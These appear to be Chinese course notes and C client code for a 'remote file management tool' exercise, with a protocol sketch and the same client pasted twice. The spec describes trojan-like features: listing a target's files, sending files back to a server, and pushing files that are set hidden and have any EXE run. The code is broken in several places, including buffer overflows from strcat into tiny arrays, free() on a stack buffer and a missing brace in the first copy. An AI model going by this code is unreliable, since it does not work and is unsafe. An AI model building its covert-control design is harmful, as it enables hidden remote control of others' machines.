1、网络函数
WSAStartup
socket
bind
listen
accept
connect
send
recv
closesocket
WSACleanup
2、文件管理函数
FindFirstFileExW
FindNextFileW
FindClose
GetFileAttributes
SetFileAttributes
ReadFile
CreateFileW
SetFilePointer
WinExec
GetFileSize
ShellExcuteW
课程内容:实现一个简单的远程文件管理工具包含客户端和服务端。功能:
1、获取目标机器的文件目录结构
2、获取目标文件夹文件详细信息(文件名,后缀,大小,是否隐藏)
3、实现指定路径下按文件名文件搜索功能和按照6中文件格式去搜索文件的功能
4、实现指定文件回传服务器功能
5、实现服务器下发任意文件到客户端的功能,下发文件要设置隐藏属性,若下发的是EXE要求下发都客户端后能运行所下发的EXE。
6、实现一个文件格式识别功能,要求通过读取文件内容去判断文件格式,格式包括:EXE,DLL,ELF,ZIP,JPG,PNG,bmp,RAR。
提示:
首先构建好socket的客户端和服务端。
其次设计好客户端和服务端交互的指令字符串,客户端的所有功能调用都根据服务端下发的指令码来区分执行的。
再者开发客户端的具体功能函数。
最后把功能函数加到之前构建好的socket代码中。
while(1){
connnct();
}
struct Server{
DWORD flags;//SEARCH_FILE,UPDATE_FILE,ENUM_FILE
BYTE Buf[1000];
}
while(1){
accept(BUF);
dword cmd = (pServer)BUF->flags;
switch(cmd)
{
case 1000:
SEARCH_FILE(,sendBuf);
break;
case 100:
UPDATE_FILE(,sendBuf);
break;
case 10:
ENUM_FILE(,sendBuf);
break;
}
SEND(sendBuf);
}
SEARCH_FILE 1000 结果,或者路径,或者其他
UPDATE_FILE 100 结果,
ENUM_FILE 10
struct Client{
DWORD flags;//SEARCH_FILE,UPDATE_FILE,ENUM_FILE
BYTE Buf[1000];
}
所有文件内容按块读出来,分块发送会服务端。
客户端负责切割文件,服务端负责拼接文件。
整个文件一起发。
切记注意返回值检查,文件数据发送不全,这个文件是没法用的。
读取一个文件:
1000KB
切文件最小单元,参考报文窗口长度,1kb,
client:
1、Struct{
Update_file:
file_info: size 1000kb,persize:1kb
}
2、Struct{
Update_file:
send_data: index n,databuf[1000]
}
server:
recv 1 包之后,判断主命令,走相应流程,在流程中,判断子命令。
file_info需要记录文件的总大小,每一次发送的大小,申请内存空间。
send:start_data
recv 2包,判断主命令,走相应流程,在流程中,判断子命令。
send_data 需要记录index,拿buf,size,buf–塞到申请的空间里面。
size != all——size
检测文件是否发送完毕。
send:start_data
#include
#include
#include
#include
#include
#define _CRT_SECURE_NO_WARNINGS 1
#define SERVER_PORT 8080
#pragma comment (lib,"ws2_32.lib")
#pragma warning (disable:4996)
void l_s(SOCKET sock)
{ // 列出目标机器的文件目录结构
char cmd[2] = "L";
send(sock, cmd, strlen(cmd), 0);
char resp[1024];
SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
if (iResult == SOCKET_ERROR) {
printf("recv() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return;
}
if (resp[0] != 'O') {
printf("列出文件目录失败:%s\n", resp);
return;
}
char* p = resp + 1;
while (*p != '\0') {
printf("%s\n", p);
p += strlen(p) + 1;
}
}
void i_nfo(SOCKET sock, char* path)
{ // 获取目标文件夹文件详细信息
char cmd[3] = "I";
strcat(cmd, path);
send(sock, cmd, strlen(cmd), 0);
char resp[1024];
SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
if (iResult == SOCKET_ERROR) {
printf("recv() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return;
}
if (resp[0] != 'O') {
printf("获取文件详细信息失败:%s\n", resp);
return;
}
char* p = resp + 1;
while (*p != '\0') {
printf("%s\n", p);
p += strlen(p) + 1;
}
}
void f_ind(SOCKET sock, char* path)
{ // 实现指定路径下按文件名文件搜索功能和按照6中文件格式去搜索文件的功能
char cmd[4] = "F";
strcat(cmd, path);
send(sock, cmd, strlen(cmd), 0);
char resp[1024];
SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
if (iResult == SOCKET_ERROR) {
printf("recv() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return;
}
if (resp[0] != 'O') {
printf("文件搜索失败:%s\n", resp);
return;
}
char* p = resp + 1;
while (*p != '\0') {
printf("%s\n", p);
p += strlen(p) + 1;
}
}
void g_et(SOCKET sock, char* path) {
// 实现指定文件回传服务器功能
char cmd[4] = "G";
strcat(cmd, path);
send(sock, cmd, strlen(cmd), 0);
char resp[1024];
SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
if (iResult == SOCKET_ERROR) {
printf("recv() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return;
}
if (resp[0] != 'O') {
printf("文件回传失败:%s\n", resp);
return;
}
char buf[1024];
int len;
while ((len = recv(sock, buf, sizeof(buf), 0)) > 0) {
FILE* fp = fopen(path, "wb");
fwrite(buf, len, 1, fp);
fclose(fp);
}
free(buf);
}
void p_ut(SOCKET sock, char* path) {
// 实现服务器下发任意文件到客户端的功能,下发文件要设置隐藏属性,若下发的是EXE要求下发都客户端后能运行所下发的EXE
send(sock, path, strlen(path), 0);
FILE* fp = fopen(path, "rb");
if (fp == NULL) {
printf("打开文件失败:%s\n", path);
return;
}
char buf[1024];
int len;
while ((len = fread(buf, 1, 1024, fp)) > 0) {
send(sock, buf, len, 0);
}
fclose(fp);
}
void f_ormat(SOCKET sock, char* path)
{ // 实现一个文件格式识别功能,要求通过读取文件内容去判断文件格式,格式包括:EXE,DLL,ELF,ZIP,JPG,PNG,bmp,RAR。
char cmd[5] = "M";
strcat(cmd, path);
send(sock, cmd, strlen(cmd), 0);
char resp[1024];
SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
if (iResult == SOCKET_ERROR) {
printf("recv() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return;
}
if (resp[0] != 'O') {
printf("文件格式识别失败:%s\n", resp);
return;
}
printf("文件格式:%s\n", resp + 1);
}
int main()
{
WSADATA wsaData;
SOCKET iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup() 失败:%d\n", iResult);
return 1;
}
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
printf("socket() 失败:%d\n", WSAGetLastError());
WSACleanup();
return 1;
}
sockaddr_in serverAddr;
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(SERVER_PORT);
serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
iResult = connect(sock, (sockaddr*)&serverAddr, sizeof(serverAddr));
if (iResult != 0) {
printf("connect() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return 1;
}
char cmd[1024];
while (1) {
printf("请输入指令:");
scanf("%s", cmd);
SOCKET iResult = send(sock, cmd, strlen(cmd), 0);
if (iResult == SOCKET_ERROR) {
printf("send() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return 1;
}
char resp[1024];
SOCKET i_Result = recv(sock, resp, sizeof(resp), 0);
if (i_Result == SOCKET_ERROR) {
printf("recv() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return 1;
}
printf("响应:%s\n", resp);
switch (resp[0]) {
case 'L':
l_s(sock);
break;
case 'I':
i_nfo(sock, resp + 1);
break;
case 'F':
f_ind(sock, resp + 1);
break;
case 'G':
g_et(sock, resp + 1);
break;
case 'P':
p_ut(sock, resp + 1);
break;
case 'M':
f_ormat(sock, resp + 1);
break;
default:
printf("未知指令:%s\n", cmd);
break;
}
closesocket(sock);
int WSACleanup();
return 0;
}
#include
#include
#include
#include
#include
#define _CRT_SECURE_NO_WARNINGS 1
#define SERVER_PORT 8080
#pragma comment (lib,"ws2_32.lib")
#pragma warning (disable:4996)
void l_s(SOCKET sock)
{ // 列出目标机器的文件目录结构
char cmd[2] = "L";
send(sock, cmd, strlen(cmd), 0);
char resp[1024];
SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
if (iResult == SOCKET_ERROR) {
printf("recv() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return;
}
if (resp[0] != 'O') {
printf("列出文件目录失败:%s\n", resp);
return;
}
char* p = resp + 1;
while (*p != '\0') {
printf("%s\n", p);
p += strlen(p) + 1;
}
}
void i_nfo(SOCKET sock, char* path)
{ // 获取目标文件夹文件详细信息
char cmd[3] = "I";
strcat(cmd, path);
send(sock, cmd, strlen(cmd), 0);
char resp[1024];
SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
if (iResult == SOCKET_ERROR) {
printf("recv() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return;
}
if (resp[0] != 'O') {
printf("获取文件详细信息失败:%s\n", resp);
return;
}
char* p = resp + 1;
while (*p != '\0') {
printf("%s\n", p);
p += strlen(p) + 1;
}
}
void f_ind(SOCKET sock, char* path)
{ // 实现指定路径下按文件名文件搜索功能和按照6中文件格式去搜索文件的功能
char cmd[4] = "F";
strcat(cmd, path);
send(sock, cmd, strlen(cmd), 0);
char resp[1024];
SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
if (iResult == SOCKET_ERROR) {
printf("recv() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return;
}
if (resp[0] != 'O') {
printf("文件搜索失败:%s\n", resp);
return;
}
char* p = resp + 1;
while (*p != '\0') {
printf("%s\n", p);
p += strlen(p) + 1;
}
}
void g_et(SOCKET sock, char* path) {
// 实现指定文件回传服务器功能
char cmd[4] = "G";
strcat(cmd, path);
send(sock, cmd, strlen(cmd), 0);
char resp[1024];
SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
if (iResult == SOCKET_ERROR) {
printf("recv() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return;
}
if (resp[0] != 'O') {
printf("文件回传失败:%s\n", resp);
return;
}
char buf[1024];
int len;
while ((len = recv(sock, buf, sizeof(buf), 0)) > 0) {
FILE* fp = fopen(path, "wb");
fwrite(buf, len, 1, fp);
fclose(fp);
}
free(buf);
}
void p_ut(SOCKET sock, char* path) {
// 实现服务器下发任意文件到客户端的功能,下发文件要设置隐藏属性,若下发的是EXE要求下发都客户端后能运行所下发的EXE
send(sock, path, strlen(path), 0);
FILE* fp = fopen(path, "rb");
if (fp == NULL) {
printf("打开文件失败:%s\n", path);
return;
}
char buf[1024];
int len;
while ((len = fread(buf, 1, 1024, fp)) > 0) {
send(sock, buf, len, 0);
}
fclose(fp);
}
void f_ormat(SOCKET sock, char* path)
{ // 实现一个文件格式识别功能,要求通过读取文件内容去判断文件格式,格式包括:EXE,DLL,ELF,ZIP,JPG,PNG,bmp,RAR。
char cmd[5] = "M";
strcat(cmd, path);
send(sock, cmd, strlen(cmd), 0);
char resp[1024];
SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
if (iResult == SOCKET_ERROR) {
printf("recv() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return;
}
if (resp[0] != 'O') {
printf("文件格式识别失败:%s\n", resp);
return;
}
printf("文件格式:%s\n", resp + 1);
}
int main()
{
WSADATA wsaData;
SOCKET iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup() 失败:%d\n", (int)iResult);
return 1;
}
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
printf("socket() 失败:%d\n", WSAGetLastError());
WSACleanup();
return 1;
}
sockaddr_in serverAddr;
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(SERVER_PORT);
serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
iResult = connect(sock, (sockaddr*)&serverAddr, sizeof(serverAddr));
if (iResult != 0) {
printf("connect() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return 1;
}
char cmd[1024];
while (1) {
printf("请输入指令:");
scanf("%s", cmd);
SOCKET iResult = send(sock, cmd, strlen(cmd), 0);
if (iResult == SOCKET_ERROR) {
printf("send() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return 1;
}
char resp[1024];
SOCKET i_Result = recv(sock, resp, sizeof(resp), 0);
if (i_Result == SOCKET_ERROR) {
printf("recv() 失败:%d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return 1;
}
printf("响应:%s\n", resp);
switch (resp[0]) {
case 'L':
l_s(sock);
break;
case 'I':
i_nfo(sock, resp + 1);
break;
case 'F':
f_ind(sock, resp + 1);
break;
case 'G':
g_et(sock, resp + 1);
break;
case 'P':
p_ut(sock, resp + 1);
break;
case 'M':
f_ormat(sock, resp + 1);
break;
default:
printf("未知指令:%s\n", cmd);
break;
}
}
closesocket(sock);
int WSACleanup();
return 0;
}